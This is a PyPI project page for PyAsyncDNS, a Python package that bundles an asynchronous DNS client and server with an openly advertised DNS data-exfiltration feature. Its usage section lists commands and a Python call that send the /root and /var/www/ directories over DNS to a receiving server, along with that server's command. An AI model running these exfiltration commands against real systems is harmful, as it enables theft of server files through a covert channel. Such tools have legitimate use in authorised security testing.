Skip to main content

This package implements a basic asynchronous DNS client and server with a feature to exfiltrate data through DNS.

Project description

PyAsyncDNS Logo

PyAsyncDNS

Description

This package implements a basic asynchronous DNS client and server with a feature to exfiltrate data through DNS.

Requirements

This package require:

  • python3
  • python3 Standard Library

Installation

Pip

python3 -m pip install PyAsyncDNS

Git

git clone "https://github.com/mauricelambert/PyAsyncDNS.git"
cd "PyAsyncDNS"
python3 -m pip install .

Wget

wget https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .

cURL

curl -O https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .

Usages

Command line

PyAsyncDNS              # Using CLI package executable
python3 -m PyAsyncDNS   # Using python module
python3 PyAsyncDNS.pyz  # Using python executable
PyAsyncDNS.exe          # Using python Windows executable

python3 -m PyAsyncDNS.client example.com kernel.org
PyAsyncDNS client example.com kernel.org

python3 -m PyAsyncDNS.server 127.0.0.1 53
PyAsyncDNS server 127.0.0.1 53

python3 -m PyAsyncDNS.exfiltrator 127.0.0.1 53 /root /var/www/
PyAsyncDNS exfiltration 127.0.0.1 53 /root /var/www/

python3 -m PyAsyncDNS.exfiltrator_server 127.0.0.1 53
PyAsyncDNS exfiltration-server 127.0.0.1 53 /root /var/www/

Python script

from PyAsyncDNS import *
from asyncio import run

addresses = run(resolve_all(['example.com', 'kernel.org'])) # resolve address
run(start_async_dns_server('127.0.0.1', 53))                # start server

server.get_response = lambda domain_name, transaction_id: "127.0.0.1"
run(start_async_dns_server('127.0.0.1', 53))                # start server with custom behaviour to define response

run(exfiltrate_directories(['/root', '/var/www/'], "127.0.0.1", 53)) # exfiltrate /root and /var/www/ directories through DNS to 127.0.0.1:53 using UDP

Links

License

Licensed under the GPL, version 3.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pyasyncdns-0.0.1.tar.gz (24.7 kB view details)

Uploaded Source

File details

Details for the file pyasyncdns-0.0.1.tar.gz.

File metadata

  • Download URL: pyasyncdns-0.0.1.tar.gz
  • Upload date:
  • Size: 24.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.2

File hashes

Hashes for pyasyncdns-0.0.1.tar.gz
Algorithm Hash digest
SHA256 e2577a2240d7e67bad17b2a4f548878d89db89f79c0b3028aaf830b30ebcc004
MD5 0a2219e7862eaa47e8c752a2e99912da
BLAKE2b-256 a9f663b5e20a6b20edc1a63bb8fe3a497fd7ca626f264c36fe477d9da5b4b41d

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page